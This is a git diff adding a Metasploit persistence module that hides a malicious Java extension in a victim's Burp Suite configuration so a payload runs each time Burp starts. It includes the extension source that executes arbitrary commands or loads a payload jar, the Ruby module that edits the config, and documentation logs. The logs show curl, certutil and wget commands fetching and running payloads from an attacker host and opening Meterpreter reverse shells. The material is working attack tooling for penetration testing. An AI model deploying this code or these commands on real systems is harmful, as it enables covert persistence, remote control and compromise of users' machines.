diff --git a/.gitignore b/.gitignore index 818bc0f616a26..4c3a47e26721c 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,6 @@ rspec.failures #Ignore any base disk store files db/modules_metadata_base.pstore + +# gradle build files +**/.gradle diff --git a/data/exploits/burp_extension/README.md b/data/exploits/burp_extension/README.md new file mode 100644 index 0000000000000..7c878961c2c00 --- /dev/null +++ b/data/exploits/burp_extension/README.md @@ -0,0 +1,9 @@ +# Prerequisites + +You'll need `gradle` which can be installed on Kali via `sudo apt-get install gradle` + +# Build + +1. Build: `gradle clean build` + 1. Post build extension location: `build/libs/MetasploitPayloadExtension.jar` +2. Copy the files into the proper location: `cp build/classes/java/main/burp/BurpExtender.class precompiled.class` diff --git a/data/exploits/burp_extension/build.gradle b/data/exploits/burp_extension/build.gradle new file mode 100644 index 0000000000000..0b98b141c1740 --- /dev/null +++ b/data/exploits/burp_extension/build.gradle @@ -0,0 +1,27 @@ +apply plugin: 'java' + +repositories { + mavenCentral() +} + +dependencies { + // implementation 'net.portswigger.burp.extender:burp-extender-api:1.7.13' + implementation 'net.portswigger.burp.extender:burp-extender-api:2.3' +} + +sourceSets { + main { + java { + srcDir 'src/main/java' + } + resources { + srcDir 'src/main/resources' + } + } +} + +task fatJar(type: Jar) { + baseName = project.name + '-all' + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + with jar +} diff --git a/data/exploits/burp_extension/precompiled.class b/data/exploits/burp_extension/precompiled.class new file mode 100644 index 0000000000000..28269fecf54f2 Binary files /dev/null and b/data/exploits/burp_extension/precompiled.class differ diff --git a/data/exploits/burp_extension/settings.gradle b/data/exploits/burp_extension/settings.gradle new file mode 100644 index 0000000000000..7ffc5ae4429af --- /dev/null +++ b/data/exploits/burp_extension/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'MetasploitPayloadExtension' diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java new file mode 100644 index 0000000000000..e73806af72412 --- /dev/null +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -0,0 +1,96 @@ +package burp; + +import java.io.File; +import java.io.InputStream; +import java.io.PrintWriter; +import java.nio.charset.StandardCharsets; +import java.util.Scanner; +import java.net.URL; +import java.net.URLClassLoader; +import java.lang.reflect.Method; + +public class BurpExtender implements IBurpExtender { + @Override + public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { + // Read extension name from resource file and set it + InputStream nameInputStream = getClass().getClassLoader().getResourceAsStream("name.txt"); + Scanner nameScanner = new Scanner(nameInputStream, StandardCharsets.UTF_8.name()); + String extensionName = nameScanner.useDelimiter("\\A").next().trim(); + callbacks.setExtensionName(extensionName); + + // Obtain our output and error streams + PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true); + PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true); + + // Detect operating system + String os = System.getProperty("os.name").toLowerCase(); + Process process; + + try { + stdout.println("Initializing extension."); + + // Locate command.txt using ClassLoader + InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt"); + + if (commandInputStream != null) { + // Read the command from command.txt + Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name()); + String command = commandScanner.useDelimiter("\\A").next().trim(); + + if (os.contains("win")) { + // Create a temporary batch script to avoid line length issues from command line + File tempScript = File.createTempFile("command", ".bat"); + tempScript.deleteOnExit(); // Ensure the file is deleted after execution + + // Write the command to the script file + try (PrintWriter writer = new PrintWriter(tempScript, StandardCharsets.UTF_8.name())) { + writer.println("@echo off"); + writer.println(command); // Write the payload command + } + + // Execute the script file + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", tempScript.getAbsolutePath()}); + } else { + // Unix-based systems: Use /bin/bash + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); + } + } else { + // Load burp_extension_pload.jar from resources + InputStream jarInputStream = getClass().getClassLoader().getResourceAsStream("burp_extension_pload.jar"); + if (jarInputStream == null) { + throw new Exception("burp_extension_pload.jar not found in resources"); + } + + // Save the jar to a temporary file + File tempJar = File.createTempFile("burp_extension_pload", ".jar"); + tempJar.deleteOnExit(); + + try (InputStream inputStream = jarInputStream) { // Declare jarInputStream as a resource + java.nio.file.Files.copy(inputStream, tempJar.toPath(), java.nio.file.StandardCopyOption.REPLACE_EXISTING); + } + + // Load the jar using URLClassLoader + stdout.println("Loading internal jar"); + try (URLClassLoader classLoader = new URLClassLoader( + new URL[]{tempJar.toURI().toURL()}, + null // Use null for an isolated class loader + )) { + Class mainClass = classLoader.loadClass("metasploit.Payload"); + Method mainMethod = mainClass.getDeclaredMethod("main", String[].class); + mainMethod.invoke(null, (Object) new String[]{}); + } catch (ClassNotFoundException e) { + stderr.println("Class not found: " + e.getMessage()); + } catch (NoSuchMethodException e) { + stderr.println("Main method not found: " + e.getMessage()); + } catch (Exception e) { + stderr.println("Error loading jar file (" + tempJar.toPath() + "): " + e.getMessage()); + e.printStackTrace(stderr); + } + } + + stdout.println("Finished initializing extension."); + } catch (Exception e) { + stderr.println("Error loading extension: " + e.getMessage()); + } + } +} diff --git a/data/exploits/burp_extension/src/main/resources/command.txt b/data/exploits/burp_extension/src/main/resources/command.txt new file mode 100644 index 0000000000000..dd2b0d61edafd --- /dev/null +++ b/data/exploits/burp_extension/src/main/resources/command.txt @@ -0,0 +1 @@ +FOOBARBAZ \ No newline at end of file diff --git a/data/exploits/burp_extension/src/main/resources/name.txt b/data/exploits/burp_extension/src/main/resources/name.txt new file mode 100644 index 0000000000000..51aafaf4720f0 --- /dev/null +++ b/data/exploits/burp_extension/src/main/resources/name.txt @@ -0,0 +1 @@ +Metasploit Payload Extension \ No newline at end of file diff --git a/documentation/modules/exploit/multi/persistence/burp_extension.md b/documentation/modules/exploit/multi/persistence/burp_extension.md new file mode 100644 index 0000000000000..68f09ce83df87 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/burp_extension.md @@ -0,0 +1,519 @@ +## Vulnerable Application + +This module adds a java based malicious extension to the Burp Suite configuration file. +When burp is opened, the extension will be loaded and the payload will be executed. + +Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04. +Tested against Burp Suite Community Edition v2025.12.3 on Windows 10. + +## Verification Steps + +1. Install burp +2. Start msfconsole +3. Get an initial shell on *nix or Windows +4. Do: `use exploit/multi/local/burp_extension_persistence` +5. Do: `set session #` +6. Do: `set writabledir ` +7. Do: `run` +8. Once the extension is installed, and burp started, you should get a shell + +## Options + +### NAME + +Name of the extension. If blank, a random name is closen. + +### CONFIG + +Config file location on target. This is a User Settings file that an extension can be added to. + +### WritableDir + +A directory where we can write the extension + +### USER + +User to target, or current user if blank + +### GRADLE + +If action is set to build, the local location of the gradle executable to build the extension with. +Defaults to `/usr/bin/gradle` + +## Action + +### precompiled + +Use pre-compiled bytecode, Gradle is not required + +### build + +Build the extension locally with Gradle. + +## Scenarios + +### Burp 2025.12.3 on Windows 10, precompiled with Windows target + +Initial Access + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/VIFzePGTMLa1dcpTvMRQBg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /VIFzePGTMLa1dcpTvMRQBg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Client 2.2.2.2 requested /w3 +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Client 2.2.2.2 requested /VIFzePGTMLa1dcpTvMRQBg +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55729) at 2026-01-16 05:24:25 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Install Persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/burp_extension +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set target 2 +target => 2 +msf exploit(multi/persistence/burp_extension) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp +PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9812 +lport => 9812 +msf exploit(multi/persistence/burp_extension) > set writabledir c:\\users\\windows\\desktop +writabledir => c:\users\windows\desktop +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/v3fXAwPgMBDCL44G1aW0KQ %TEMP%\CYdTYFAds.exe & start /B %TEMP%\CYdTYFAds.exe +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(multi/persistence/burp_extension) > +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /v3fXAwPgMBDCL44G1aW0KQ +[*] Started reverse TCP handler on 1.1.1.1:9812 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Home path detected as: C:\Users\windows +[!] The service is running, but could not be validated. Found UserConfig file C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp UserConfig file: C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp JAR file: C:\Users\windows\AppData\Local\BurpSuiteCommunity\burpsuite_community.jar +[*] Creating extension +[*] Using extension name: BuIwiN +[*] Creating JAR file +[*] Writing malicious extension to disk: c:\users\windows\desktop\BuIwiN.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116054809_default_2.2.2.2_burp.config.json_765439.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260116.4809/WIN10PROLICENSE_20260116.4809.rc +``` + +Launch Burp + +``` +[*] Client 2.2.2.2 requested /v3fXAwPgMBDCL44G1aW0KQ +[*] Sending payload to 2.2.2.2 (Microsoft-CryptoAPI/10.0) +[*] Client 2.2.2.2 requested /v3fXAwPgMBDCL44G1aW0KQ +[*] Sending payload to 2.2.2.2 (CertUtil URL Agent) +[*] Sending stage (230982 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:9812 -> 2.2.2.2:55876) at 2026-01-16 05:49:34 -0500 +``` + +### Burp 2025.12.3 on Windows 10, build with Java target + +Initial Access + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/VIFzePGTMLa1dcpTvMRQBg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /VIFzePGTMLa1dcpTvMRQBg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55900) at 2026-01-16 05:53:50 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Install Persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/burp_extension +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set action build +action => build +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/java/meterpreter/reverse_tcp +PAYLOAD => java/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9815 +lport => 9815 +msf exploit(multi/persistence/burp_extension) > set writabledir c:\\users\\windows\\desktop +writabledir => c:\users\windows\desktop +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(multi/persistence/burp_extension) > +[*] Started reverse TCP handler on 1.1.1.1:9815 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Gradle found +[*] Home path detected as: C:\Users\windows +[!] The service is running, but could not be validated. Found UserConfig file C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp UserConfig file: C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp JAR file: C:\Users\windows\AppData\Local\BurpSuiteCommunity\burpsuite_community.jar +[*] Creating extension +[*] Using extension name: IoWH +[*] Creating JAR file +[*] Building Burp extension jar file locally in /tmp/d20260116-127808-hkcygo +openjdk version "21.0.10-ea" 2026-01-20 +OpenJDK Runtime Environment (build 21.0.10-ea+4-Debian-1) +OpenJDK 64-Bit Server VM (build 21.0.10-ea+4-Debian-1, mixed mode, sharing) +Starting a Gradle Daemon (subsequent builds will be faster) + +:clean UP-TO-DATE + +:compileJava + +:processResources + +:classes + +:jar + +:assemble + +:compileTestJava NO-SOURCE + +:processTestResources NO-SOURCE + +:testClasses UP-TO-DATE + +:test NO-SOURCE + +:check UP-TO-DATE + +:build + + + +BUILD SUCCESSFUL in 7s + +4 actionable tasks: 3 executed, 1 up-to-date + +[+] Successfully built the jar file /tmp/d20260116-127808-hkcygo/build/libs/MetasploitPayloadExtension.jar +[*] Writing malicious extension to disk: c:\users\windows\desktop\IoWH.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116060148_default_2.2.2.2_burp.config.json_518370.bin +``` + +Launch Burp + +``` +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260116.0148/WIN10PROLICENSE_20260116.0148.rc +[*] Sending stage (58073 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:9815 -> 2.2.2.2:56020) at 2026-01-16 06:14:57 -0500 +``` + +### Burp 2025.12.3 on Ubuntu 24.04, precompiled with Linux target + +Initial Access + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO wThmilCQ --no-check-certificate http://1.1.1.1:8082/l; chmod +x wThmilCQ; ./wThmilCQ& disown +msf exploit(multi/script/web_delivery) > +[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 3.3.3.3 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 3.3.3.3:43276) at 2026-01-16 06:31:49 -0500 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 3.3.3.3 +OS : Ubuntu 24.04 (Linux 6.14.0-37-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +``` + +Install Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/burp_extension +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set target 1 +target => 1 +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp +PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9816 +lport => 9816 +msf exploit(multi/persistence/burp_extension) > set writabledir /home/ubuntu/Desktop/ +writabledir => /home/ubuntu/Desktop/ +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:9816 +msf exploit(multi/persistence/burp_extension) > [!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Home path detected as: /home/ubuntu +[!] The service is running, but could not be validated. Found UserConfig file /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp UserConfig file: /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp JAR file: /home/ubuntu/BurpSuiteCommunity/burpsuite_community.jar +[*] Creating extension +[*] Using extension name: KdqJR +[*] Creating JAR file +[*] Writing malicious extension to disk: /home/ubuntu/Desktop//KdqJR.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116073105_default_3.3.3.3_burp.config.json_225090.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/3.3.3.3_20260116.3105/3.3.3.3_20260116.3105.rc +``` + +Launch Burp + +``` +[*] Sending stage (23404 bytes) to 3.3.3.3 +[*] Meterpreter session 2 opened (1.1.1.1:9816 -> 3.3.3.3:59798) at 2026-01-16 07:45:08 -0500 + +msf exploit(multi/persistence/burp_extension) > +``` + +### Burp 2025.12.3 on Ubuntu 24.04, build with Java target + +Initial Access +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO z9hg2BUt --no-check-certificate http://1.1.1.1:8082/l; chmod +x z9hg2BUt; ./z9hg2BUt& disown +msf exploit(multi/script/web_delivery) > +[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 3.3.3.3 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 3.3.3.3:59534) at 2026-01-16 07:54:07 -0500 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 3.3.3.3 +OS : Ubuntu 24.04 (Linux 6.14.0-37-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +``` + +Install Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/burp_extension +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set action build +action => build +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/java/meterpreter/reverse_tcp +PAYLOAD => java/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9817 +lport => 9817 +msf exploit(multi/persistence/burp_extension) > set writabledir /home/ubuntu/Desktop/ +writabledir => /home/ubuntu/Desktop/ +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:9817 +msf exploit(multi/persistence/burp_extension) > [!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Gradle found +[*] Home path detected as: /home/ubuntu +[!] The service is running, but could not be validated. Found UserConfig file /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp UserConfig file: /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp JAR file: /home/ubuntu/BurpSuiteCommunity/burpsuite_community.jar +[*] Creating extension +[*] Using extension name: YBFkQz +[*] Creating JAR file +[*] Building Burp extension jar file locally in /tmp/d20260116-130356-yxz2cv +openjdk version "21.0.10-ea" 2026-01-20 +OpenJDK Runtime Environment (build 21.0.10-ea+4-Debian-1) +OpenJDK 64-Bit Server VM (build 21.0.10-ea+4-Debian-1, mixed mode, sharing) +:clean UP-TO-DATE + +:compileJava + +:processResources + +:classes + +:jar + +:assemble + +:compileTestJava NO-SOURCE + +:processTestResources NO-SOURCE + +:testClasses UP-TO-DATE + +:test NO-SOURCE + +:check UP-TO-DATE + +:build + + + +BUILD SUCCESSFUL in 1s + +4 actionable tasks: 3 executed, 1 up-to-date + +[+] Successfully built the jar file /tmp/d20260116-130356-yxz2cv/build/libs/MetasploitPayloadExtension.jar +[*] Writing malicious extension to disk: /home/ubuntu/Desktop//YBFkQz.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116075456_default_3.3.3.3_burp.config.json_053290.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/3.3.3.3_20260116.5456/3.3.3.3_20260116.5456.rc +``` + +Launch Burp + +``` +[*] Sending stage (58073 bytes) to 3.3.3.3 +[*] Meterpreter session 2 opened (1.1.1.1:9817 -> 3.3.3.3:52712) at 2026-01-16 07:55:28 -0500 +``` diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb new file mode 100644 index 0000000000000..843f64aa4abf4 --- /dev/null +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -0,0 +1,329 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +# +require 'open3' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix # whoami + include Msf::Auxiliary::Report + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Windows::Registry + include Msf::Exploit::Local::Persistence + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Burp Extension Persistence', + 'Description' => %q{ + This module adds a java based malicious extension to the Burp Suite configuration file. + When burp is opened, the extension will be loaded and the payload will be executed. + + Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04. + Tested against Burp Suite Community Edition v2025.12.3 on Windows 10. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die' # Module + ], + 'DisclosureDate' => '2025-01-01', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Privileged' => false, + 'References' => [ + [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ], + [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ] + ], + 'DefaultOptions' => { + 'PrependMigrate' => true + }, + 'Targets' => [ + [ + 'Java', { + 'Platform' => 'java', 'Arch' => [ARCH_JAVA] + } + ], + ['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ], + [ + 'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, { + 'Payload' => + { 'Space' => 8_191 - 'cmd.exe /c '.length } + } + ], + ], + 'Actions' => [ + ['precompiled', { 'Description' => 'Use pre-compiled bytecode' }], + ['build', { 'Description' => 'Build the extension locally with Gradle' }] + ], + 'DefaultAction' => 'precompiled', + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + }, + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('NAME', [ false, 'Name of the extension', '' ]), + OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]), + OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ]) + ]) + register_advanced_options([ + OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]), + ]) + end + + def extension_name_generator + return datastore['NAME'] unless datastore['NAME'].blank? + + rand_text_alphanumeric(4..10) + end + + def window_target? + ['windows', 'win'].include? session.platform + end + + def get_home + return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target? + + return cmd_exec('echo ~').strip + end + + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + + def get_userconfig_path + unless datastore['CONFIG_FILE'].blank? + return nil unless file?(datastore['CONFIG_FILE']) + + return datastore['CONFIG_FILE'] + end + + home_path = get_home + vprint_status("Home path detected as: #{home_path}") + + path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/' + if file?(path + 'UserConfigPro.json') + @pro = true + return path + 'UserConfigPro.json' + end + return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json') + end + + def get_burp_executable + if !datastore['BURP_JAR'].blank? + return nil unless file?(datastore['BURP_JAR']) + + return datastore['BURP_JAR'] + end + + home_path = get_home + + if @pro + burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar' + return burp_exec_path if 